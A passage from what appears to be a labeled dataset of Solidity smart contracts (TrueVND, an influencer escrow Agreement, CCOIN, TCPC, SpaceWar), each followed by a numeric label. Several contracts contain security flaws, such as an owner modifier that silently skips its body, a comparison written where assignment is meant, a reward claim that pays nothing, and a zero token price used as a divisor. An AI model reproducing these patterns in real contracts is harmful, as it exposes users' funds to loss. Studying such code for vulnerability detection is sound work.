transferAllArgsYesAllowance(from, to, value, origSender);
return true;
}
function delegateApprove(address spender, uint256 value, address origSender) onlySender(delegatedFrom) public returns (bool) {
approveAllArgs(spender, value, origSender);
return true;
}
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) onlySender(delegatedFrom) public returns (bool) {
increaseApprovalAllArgs(spender, addedValue, origSender);
return true;
}
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) onlySender(delegatedFrom) public returns (bool) {
decreaseApprovalAllArgs(spender, subtractedValue, origSender);
return true;
}
}
contract TrueVND is NoOwner, BurnableToken, CanDelegate, StandardDelegate, PausableToken {
string public name = "TrueVND";
string public symbol = "TVND";
uint8 public constant decimals = 18;
AddressList public canReceiveMintWhiteList;
AddressList public canBurnWhiteList;
AddressList public blackList;
AddressList public noFeesList;
address public staker;
uint256 public burnMin = 1000 * 10 ** uint256(decimals);
uint256 public burnMax = 20000000 * 10 ** uint256(decimals);
uint80 public transferFeeNumerator = 8;
uint80 public transferFeeDenominator = 10000;
uint80 public mintFeeNumerator = 0;
uint80 public mintFeeDenominator = 10000;
uint256 public mintFeeFlat = 0;
uint80 public burnFeeNumerator = 0;
uint80 public burnFeeDenominator = 10000;
uint256 public burnFeeFlat = 0;
event ChangeBurnBoundsEvent(uint256 newMin, uint256 newMax);
event Mint(address indexed to, uint256 amount);
event WipedAccount(address indexed account, uint256 balance);
constructor() public {
totalSupply_ = 0;
staker = msg.sender;
}
function setLists(AddressList _canReceiveMintWhiteList, AddressList _canBurnWhiteList, AddressList _blackList, AddressList _noFeesList) onlyOwner public {
canReceiveMintWhiteList = _canReceiveMintWhiteList;
canBurnWhiteList = _canBurnWhiteList;
blackList = _blackList;
noFeesList = _noFeesList;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
function burn(uint256 _value) public {
require(canBurnWhiteList.onList(msg.sender));
require(_value >= burnMin);
require(_value <= burnMax);
uint256 fee = payStakingFee(msg.sender, _value, burnFeeNumerator, burnFeeDenominator, burnFeeFlat, 0x0);
uint256 remaining = _value.sub(fee);
super.burn(remaining);
}
function mint(address _to, uint256 _amount) onlyOwner public {
require(canReceiveMintWhiteList.onList(_to));
totalSupply_ = totalSupply_.add(_amount);
balances.addBalance(_to, _amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
payStakingFee(_to, _amount, mintFeeNumerator, mintFeeDenominator, mintFeeFlat, 0x0);
}
function changeBurnBounds(uint newMin, uint newMax) onlyOwner public {
require(newMin <= newMax);
burnMin = newMin;
burnMax = newMax;
emit ChangeBurnBoundsEvent(newMin, newMax);
}
function transferAllArgsYesAllowance(address _from, address _to, uint256 _value, address spender) internal {
require(!blackList.onList(spender));
super.transferAllArgsYesAllowance(_from, _to, _value, spender);
}
function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal {
require(!blackList.onList(_from));
require(!blackList.onList(_to));
super.transferAllArgsNoAllowance(_from, _to, _value);
payStakingFee(_to, _value, transferFeeNumerator, transferFeeDenominator, burnFeeFlat, _from);
}
function wipeBlacklistedAccount(address account) public onlyOwner {
require(blackList.onList(account));
uint256 oldValue = balanceOf(account);
balances.setBalance(account, 0);
totalSupply_ = totalSupply_.sub(oldValue);
emit WipedAccount(account, oldValue);
}
function payStakingFee(address payer, uint256 value, uint80 numerator, uint80 denominator, uint256 flatRate, address otherParticipant) private returns (uint256) {
if (noFeesList.onList(payer) || noFeesList.onList(otherParticipant)) {
return 0;
}
uint256 stakingFee = value.mul(numerator).div(denominator).add(flatRate);
if (stakingFee > 0) {
super.transferAllArgsNoAllowance(payer, staker, stakingFee);
}
return stakingFee;
}
function changeStakingFees(uint80 _transferFeeNumerator,
uint80 _transferFeeDenominator,
uint80 _mintFeeNumerator,
uint80 _mintFeeDenominator,
uint256 _mintFeeFlat,
uint80 _burnFeeNumerator,
uint80 _burnFeeDenominator,
uint256 _burnFeeFlat) public onlyOwner {
require(_transferFeeDenominator != 0);
require(_mintFeeDenominator != 0);
require(_burnFeeDenominator != 0);
transferFeeNumerator = _transferFeeNumerator;
transferFeeDenominator = _transferFeeDenominator;
mintFeeNumerator = _mintFeeNumerator;
mintFeeDenominator = _mintFeeDenominator;
mintFeeFlat = _mintFeeFlat;
burnFeeNumerator = _burnFeeNumerator;
burnFeeDenominator = _burnFeeDenominator;
burnFeeFlat = _burnFeeFlat;
}
function changeStaker(address newStaker) public onlyOwner {
require(newStaker != address(0));
staker = newStaker;
}
} | 1 | 3,295 |
pragma solidity ^0.4.23;
contract Escrow {
using SafeMath for uint256;
using ContentUtils for ContentUtils.ContentMapping;
ContentUtils.ContentMapping public content;
address escrowAddr = address(this);
uint256 public claimable = 0;
uint256 public currentBalance = 0;
mapping(bytes32 => uint256) public claimableRewards;
modifier validReward(uint256 _reward) {
require(_reward > 0 && _depositEscrow(_reward));
_;
}
function completeDeliverable(bytes32 _id, address _creator, address _brand) internal returns(bool) {
require(content.isFulfilled(_id, _creator, _brand));
content.completeDeliverable(_id);
return _approveEscrow(_id, content.rewardOf(_id));
}
function _depositEscrow(uint256 _amount) internal returns(bool) {
currentBalance = currentBalance.add(_amount);
return true;
}
function _approveEscrow(bytes32 _id, uint256 _amount) internal returns(bool) {
claimable = claimable.add(_amount);
claimableRewards[_id] = _amount;
return true;
}
function getClaimableRewards(bytes32 _id) public returns(uint256) {
return claimableRewards[_id];
}
function getContentByName(string _name) public view returns(
string name,
string description,
uint reward,
uint addedOn)
{
var (_content, exist) = content.getContentByName(_name);
if (exist) {
return (_content.name, _content.description, _content.deliverable.reward, _content.addedOn);
} else {
return ("", "", 0, 0);
}
}
function currentFulfillment(string _name) public view returns(bool fulfillment) {
var (_content, exist) = content.getContentByName(_name);
if (exist) {
return _content.deliverable.fulfillment[msg.sender];
} else {
false;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library DeliverableUtils {
struct Deliverable {
uint256 reward;
mapping(address=>bool) fulfillment;
bool fulfilled;
}
function fulfill(Deliverable storage self, address _creator, address _brand) internal returns(bool) {
require(msg.sender == _creator || msg.sender == _brand);
self.fulfillment[msg.sender] = true;
return self.fulfillment[_creator] && self.fulfillment[_brand];
}
function isFulfilled(Deliverable storage self, address _creator, address _brand) internal view returns(bool) {
return self.fulfillment[_creator] && self.fulfillment[_brand];
}
function newDeliverable(uint256 _reward) internal pure returns(Deliverable _deliverable) {
require(_reward > 0);
return Deliverable(_reward, false);
}
}
library ContentUtils {
using SafeMath for uint256;
using DeliverableUtils for DeliverableUtils.Deliverable;
struct Content {
bytes32 id;
string name;
string description;
uint addedOn;
DeliverableUtils.Deliverable deliverable;
}
struct ContentMapping {
mapping(bytes32=>Content) data;
bytes32[] keys;
bool locked;
}
string constant UNIQUE_KEY_ERR = "Content with ID already exists ";
string constant KEY_NOT_FOUND_ERR = "Key not found";
function put(ContentMapping storage self,
string _name,
string _description,
uint _reward) public returns (bool)
{
require(!self.locked);
bytes32 _id = generateContentID(_name);
require(self.data[_id].id == bytes32(0));
self.data[_id] = Content(_id, _name, _description, block.timestamp, DeliverableUtils.newDeliverable(_reward));
self.keys.push(_id);
return true;
}
function size(ContentMapping storage self) public view returns (uint) {
return self.keys.length;
}
function rewardOf(ContentMapping storage self, bytes32 _id) public view returns (uint256) {
return self.data[_id].deliverable.reward;
}
function getKey(ContentMapping storage self, uint _index) public view returns (bytes32) {
isValidIndex(_index, self.keys.length);
return self.keys[_index];
}
function getContentByName(ContentMapping storage self, string _name) public view returns (Content storage _content, bool exists) {
bytes32 _hash = generateContentID(_name);
return (self.data[_hash], self.data[_hash].addedOn != 0);
}
function getContentByID(ContentMapping storage self, bytes32 _id) public view returns (Content storage _content, bool exists) {
return (self.data[_id], self.data[_id].id == bytes32(0));
}
function getContentByKeyIndex(ContentMapping storage self, uint _index) public view returns (Content storage _content) {
isValidIndex(_index, self.keys.length);
return (self.data[self.keys[_index]]);
}
function fulfill(ContentMapping storage self, bytes32 _id, address _creator, address _brand) public returns(bool) {
return self.data[_id].deliverable.fulfill(_creator, _brand);
}
function isFulfilled(ContentMapping storage self, bytes32 _id, address _creator, address _brand) public view returns(bool) {
return self.data[_id].deliverable.isFulfilled(_creator, _brand);
}
function completeDeliverable(ContentMapping storage self, bytes32 _id) internal returns(bool) {
self.data[_id].deliverable.fulfilled = true;
return true;
}
function generateContentID(string _name) public pure returns (bytes32) {
return keccak256(_name);
}
function isValidIndex(uint _index, uint _size) public pure {
require(_index < _size, KEY_NOT_FOUND_ERR);
}
}
contract Agreement is Escrow {
bool public locked;
uint public createdOn;
uint public expiration;
uint public startTime;
address public brand;
address public creator;
constructor(address _creator, uint _expiration, address _token) public {
brand = msg.sender;
creator = _creator;
expiration = _expiration;
}
modifier onlyBrand() {
require(msg.sender == brand);
_;
}
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
modifier fulfilled(bytes32 _id) {
require(content.isFulfilled(_id, creator, brand));
_;
}
modifier expired() {
require(block.timestamp > expiration);
_;
}
modifier notExpired() {
require(block.timestamp < expiration);
_;
}
modifier notLocked() {
require(!locked);
_;
}
function addContent(string _name,
string _description,
uint _reward) notLocked onlyBrand validReward(_reward)
public returns(bool _success) {
return content.put(_name, _description, _reward);
}
function _fulfill(bytes32 _id) private returns (bool) {
bool _fulfilled = content.fulfill(_id, creator, brand);
if(_fulfilled) {
return completeDeliverable(_id, creator, brand);
}
return false;
}
function fulfillDeliverable(bytes32 _id) notExpired onlyCreator public returns (bool) {
return _fulfill(_id);
}
function approveDeliverable(bytes32 _id) onlyBrand public returns (bool) {
return _fulfill(_id);
}
function claim(bytes32 _id) external onlyCreator {
claimableRewards[_id] = 0;
}
function lock() onlyBrand public {
content.locked == true;
locked = true;
startTime = block.timestamp;
}
function extendExpiration(uint _expiration) onlyBrand public returns (bool) {
require(_expiration > expiration && _expiration >= block.timestamp);
expiration = _expiration;
return true;
}
function destroy() onlyBrand expired public {
selfdestruct(msg.sender);
}
function deposit() payable {}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0))
owner = newOwner;
}
function kill() {
if (msg.sender == owner)
selfdestruct(owner);
}
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
}
contract CCOIN is ERC20, Ownable {
struct Escrow {
address creator;
address brand;
address agreementContract;
uint256 reward;
}
string public constant name = "CCOIN";
string public constant symbol = "CCOIN";
uint public constant decimals = 18;
uint public totalSupply = 1000000000 * 10 ** 18;
bool public locked;
address public multisigETH;
address public crowdSaleaddress;
uint public ethReceived;
uint public totalTokensSent;
uint public startBlock;
uint public endBlock;
uint public maxCap;
uint public minCap;
uint public minContributionETH;
uint public tokenPriceWei;
uint firstPeriod;
uint secondPeriod;
uint thirdPeriod;
uint fourthPeriod;
uint fifthPeriod;
uint firstBonus;
uint secondBonus;
uint thirdBonus;
uint fourthBonus;
uint fifthBonus;
uint public multiplier;
bool public stopInEmergency = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => Escrow) escrowAgreements;
mapping(address => bool) public whitelisted;
event Whitelist(address indexed participant);
event Locked();
event Unlocked();
event StoppedCrowdsale();
event RestartedCrowdsale();
event Burned(uint256 value);
modifier onlyUnlocked() {
if (msg.sender != crowdSaleaddress && locked && msg.sender != owner)
revert();
_;
}
modifier onlyPayloadSize(uint numWords){
assert(msg.data.length >= numWords * 32 + 4);
_;
}
modifier onlyAuthorized() {
if (msg.sender != crowdSaleaddress && msg.sender != owner)
revert();
_;
}
constructor() public {
locked = true;
multiplier = 10 ** 18;
multisigETH = msg.sender;
minContributionETH = 1;
startBlock = 0;
endBlock = 0;
maxCap = 1000 * multiplier;
tokenPriceWei = SafeMath.div(1, 1400);
minCap = 100 * multiplier;
totalTokensSent = 0;
firstPeriod = 100;
secondPeriod = 200;
thirdPeriod = 300;
fourthPeriod = 400;
fifthPeriod = 500;
firstBonus = 120;
secondBonus = 115;
thirdBonus = 110;
fourthBonus = SafeMath.div(1075, 10);
fifthBonus = 105;
balances[multisigETH] = totalSupply;
}
function resetCrowdSaleaddress(address _newCrowdSaleaddress) public onlyAuthorized() {
crowdSaleaddress = _newCrowdSaleaddress;
}
function unlock() public onlyAuthorized {
locked = false;
emit Unlocked();
}
function lock() public onlyAuthorized {
locked = true;
emit Locked();
}
function burn(address _member, uint256 _value) public onlyAuthorized returns (bool) {
balances[_member] = SafeMath.sub(balances[_member], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
emit Transfer(_member, 0x0, _value);
emit Burned(_value);
return true;
}
function Airdrop(address _to, uint256 _tokens) external onlyAuthorized returns(bool) {
require(transfer(_to, _tokens));
}
function transfer(address _to, uint _value) public onlyUnlocked returns (bool) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public onlyUnlocked returns (bool success) {
if (balances[_from] < _value)
revert();
if (_value > allowed[_from][msg.sender])
revert();
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function withdrawFromEscrow(address _agreementAddr, bytes32 _id) {
require(balances[_agreementAddr] > 0);
Agreement agreement = Agreement(_agreementAddr);
require(agreement.creator() == msg.sender);
uint256 reward = agreement.getClaimableRewards(_id);
require(reward > 0);
balances[_agreementAddr] = SafeMath.sub(balances[_agreementAddr], reward);
balances[msg.sender] = SafeMath.add(balances[msg.sender], reward);
}
function WhitelistParticipant(address participant) external onlyAuthorized {
whitelisted[participant] = true;
emit Whitelist(participant);
}
function BlacklistParticipant(address participant) external onlyAuthorized {
whitelisted[participant] = false;
emit Whitelist(participant);
}
function() public payable onlyPayloadSize(2) {
contribute(msg.sender);
}
function contribute(address _backer) internal returns (bool res) {
if (msg.value < minContributionETH)
revert();
uint tokensToSend = calculateNoOfTokensToSend();
if (SafeMath.add(totalTokensSent, tokensToSend) > maxCap)
revert();
if (!transfer(_backer, tokensToSend))
revert();
ethReceived = SafeMath.add(ethReceived, msg.value);
totalTokensSent = SafeMath.add(totalTokensSent, tokensToSend);
return true;
}
function calculateNoOfTokensToSend() constant internal returns (uint) {
uint tokenAmount = SafeMath.div(SafeMath.mul(msg.value, multiplier), tokenPriceWei);
if (block.number <= startBlock + firstPeriod)
return tokenAmount + SafeMath.div(SafeMath.mul(tokenAmount, firstBonus), 100);
else if (block.number <= startBlock + secondPeriod)
return tokenAmount + SafeMath.div(SafeMath.mul(tokenAmount, secondBonus), 100);
else if (block.number <= startBlock + thirdPeriod)
return tokenAmount + SafeMath.div(SafeMath.mul(tokenAmount, thirdBonus), 100);
else if (block.number <= startBlock + fourthPeriod)
return tokenAmount + SafeMath.div(SafeMath.mul(tokenAmount, fourthBonus), 100);
else if (block.number <= startBlock + fifthPeriod)
return tokenAmount + SafeMath.div(SafeMath.mul(tokenAmount, fifthBonus), 100);
else
return tokenAmount;
}
function stopCrowdsale() external onlyOwner{
stopInEmergency = true;
emit StoppedCrowdsale();
}
function restartCrowdsale() external onlyOwner{
stopInEmergency = false;
emit RestartedCrowdsale();
}
} | 1 | 3,433 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TCPC is StandardToken {
string public constant name = "Test Coin PrimeCore";
string public constant symbol = "TCPC";
uint8 public constant decimals = 8;
address public constant tokenOwner = 0x3c9da12eda40d69713ef7c6129e5ebd75983ac3d;
uint256 public constant INITIAL_SUPPLY = 6750000000 * (10 ** uint256(decimals));
function TCPC() public {
totalSupply_ = INITIAL_SUPPLY;
balances[tokenOwner] = INITIAL_SUPPLY;
emit Transfer(0x0, tokenOwner, INITIAL_SUPPLY);
}
} | 1 | 3,670 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
require(count > 0);
price = 0;
price += SafeMath.mul((basePrice + pricePerLevel * owned), count);
price += pricePerLevel * (count.mul((count-1))) / 2;
}
}
contract SpaceWar {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] spaces;
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct SpaceData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
SpaceData[9] private spaceData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct;
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
function SpaceWar() public {
owner = msg.sender;
spaceData[0] = SpaceData(500, 1, 5, 0, 999);
spaceData[1] = SpaceData(50000, 10, 500, 0, 999);
spaceData[2] = SpaceData(5000000, 100, 50000, 0, 999);
spaceData[3] = SpaceData(80000000, 1000, 800000, 0, 999);
spaceData[4] = SpaceData(500000000, 20000, 5000000, 0.01 ether, 999);
spaceData[5] = SpaceData(10000000000, 100000, 100000000, 0, 999);
spaceData[6] = SpaceData(100000000000, 1000000, 1000000000, 0, 999);
spaceData[7] = SpaceData(1000000000000, 50000000, 10000000000, 0.1 ether, 999);
spaceData[8] = SpaceData(10000000000000, 100000000,100000000000, 0, 999);
boostData[0] = BoostData(30, 0.01 ether);
boostData[1] = BoostData(50, 0.1 ether);
boostData[2] = BoostData(100, 1 ether);
topindex = 0;
honeyPotAmount = 0;
devFund = 0;
jackPot = 0;
nextPotDistributionTime = block.timestamp;
honeyPotSharePct = 90;
boosterHolders[0] = owner;
boosterHolders[1] = owner;
boosterHolders[2] = owner;
boosterHolders[3] = owner;
boosterHolders[4] = owner;
boosterIndex = 0;
nextBoosterPrice = 0.1 ether;
troopData[0] = TroopData(10, 0, 100000, 0);
troopData[1] = TroopData(1000, 0, 80000000, 0);
troopData[2] = TroopData(100000, 0, 1000000000, 0.01 ether);
troopData[3] = TroopData(0, 15, 100000, 0);
troopData[4] = TroopData(0, 1500, 80000000, 0);
troopData[5] = TroopData(0, 150000, 1000000000, 0.01 ether);
honeyPotPerCycle.push(0);
globalICOPerCycle.push(1);
cycleCount = 0;
}
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] spaces, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
uint8 i = 0;
money = miners[minerAddr].money;
lastupdate = miners[minerAddr].lastUpdateTime;
prodPerSec = GetProductionPerSecond(minerAddr);
for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i)
{
spaces[i] = miners[minerAddr].spaces[i];
}
for(i = 0; i < NUMBER_OF_UPGRADES; ++i)
{
upgrades[i] = miners[minerAddr].hasUpgrade[i];
}
unclaimedPot = miners[minerAddr].unclaimedPot;
hasBooster = HasBooster(minerAddr);
unconfirmedMoney = money + (prodPerSec * (now - lastupdate));
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
count = topindex;
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
require(idx < topindex);
minerAddr = indexes[idx];
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
_honeyPotAmount = honeyPotAmount;
_devFunds = devFund;
_jackPot = jackPot;
_nextDistributionTime = nextPotDistributionTime;
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
MinerData storage m = miners[minerAddr];
personalProduction = 0;
uint256 productionSpeed = 100 + m.premamentMineBonusPct;
if(HasBooster(minerAddr))
productionSpeed += 100;
for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j)
{
personalProduction += m.spaces[j] * spaceData[j].baseOutput;
}
personalProduction = personalProduction * productionSpeed / 100;
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
globalMoney = 0;
globalHashRate = 0;
uint i = 0;
for(i = 0; i < topindex; ++i)
{
MinerData storage m = miners[indexes[i]];
globalMoney += m.money;
globalHashRate += GetProductionPerSecond(indexes[i]);
}
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
_boosterHolders[i] = boosterHolders[i];
}
currentPrice = nextBoosterPrice;
currentIndex = boosterIndex;
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
if(boosterHolders[i] == addr)
return true;
}
return false;
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
PVPData storage a = pvpMap[addr];
immunityTime = a.immunityTime;
exhaustTime = a.exhaustTime;
attackpower = 0;
defensepower = 0;
for(uint i = 0; i < NUMBER_OF_TROOPS; ++i)
{
attackpower += a.troops[i] * troopData[i].attackPower;
defensepower += a.troops[i] * troopData[i].defensePower;
troops[i] = a.troops[i];
}
}
function GetCurrentICOCycle() public constant returns (uint256)
{
return cycleCount;
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
require(idx <= cycleCount);
ICOFund = globalICOPerCycle[idx];
if(idx < cycleCount)
{
ICOPot = honeyPotPerCycle[idx];
} else
{
ICOPot = honeyPotAmount / 10;
}
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
require(idx <= cycleCount);
ICOFund = minerICOPerCycle[miner][idx];
if(idx < cycleCount)
{
ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx];
} else
{
ICOShare = (honeyPotAmount / 10) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx];
}
lastClaimIndex = miners[miner].lastPotClaimIndex;
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
MinerData storage m = miners[miner];
require(m.lastUpdateTime != 0);
require(m.lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30)
limit = i + 30;
unclaimedPot = 0;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[miner][i] > 0)
unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i];
}
}
function StartNewMiner() external
{
require(miners[msg.sender].lastUpdateTime == 0);
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].money = 0;
miners[msg.sender].spaces[0] = 1;
miners[msg.sender].unclaimedPot = 0;
miners[msg.sender].lastPotClaimIndex = cycleCount;
pvpMap[msg.sender].immunityTime = block.timestamp + 14400;
pvpMap[msg.sender].exhaustTime = block.timestamp;
indexes[topindex] = msg.sender;
++topindex;
}
function UpgradeSpace(uint8 spaceIdx, uint16 count) external
{
require(spaceIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 999);
require(spaceData[spaceIdx].priceInETH == 0);
MinerData storage m = miners[msg.sender];
require(spaceData[spaceIdx].limit >= (m.spaces[spaceIdx] + count));
UpdateMoney();
uint256 price = NumericSequence.sumOfN(spaceData[spaceIdx].basePrice, spaceData[spaceIdx].pricePerLevel, m.spaces[spaceIdx], count);
require(m.money >= price);
m.spaces[spaceIdx] = m.spaces[spaceIdx] + count;
if(m.spaces[spaceIdx] > spaceData[spaceIdx].limit)
m.spaces[spaceIdx] = spaceData[spaceIdx].limit;
m.money -= price;
}
function UpgradeSpaceETH(uint8 spaceIdx, uint256 count) external payable
{
require(spaceIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 999);
require(spaceData[spaceIdx].priceInETH > 0);
MinerData storage m = miners[msg.sender];
require(spaceData[spaceIdx].limit >= (m.spaces[spaceIdx] + count));
uint256 price = (spaceData[spaceIdx].priceInETH).mul(count);
uint256 priceCoin = NumericSequence.sumOfN(spaceData[spaceIdx].basePrice, spaceData[spaceIdx].pricePerLevel, m.spaces[spaceIdx], count);
UpdateMoney();
require(msg.value >= price);
require(m.money >= priceCoin);
BuyHandler(msg.value);
m.spaces[spaceIdx] = m.spaces[spaceIdx] + count;
if(m.spaces[spaceIdx] > spaceData[spaceIdx].limit)
m.spaces[spaceIdx] = spaceData[spaceIdx].limit;
m.money -= priceCoin;
}
function UpdateMoney() private
{
require(miners[msg.sender].lastUpdateTime != 0);
require(block.timestamp >= miners[msg.sender].lastUpdateTime);
MinerData storage m = miners[msg.sender];
uint256 diff = block.timestamp - m.lastUpdateTime;
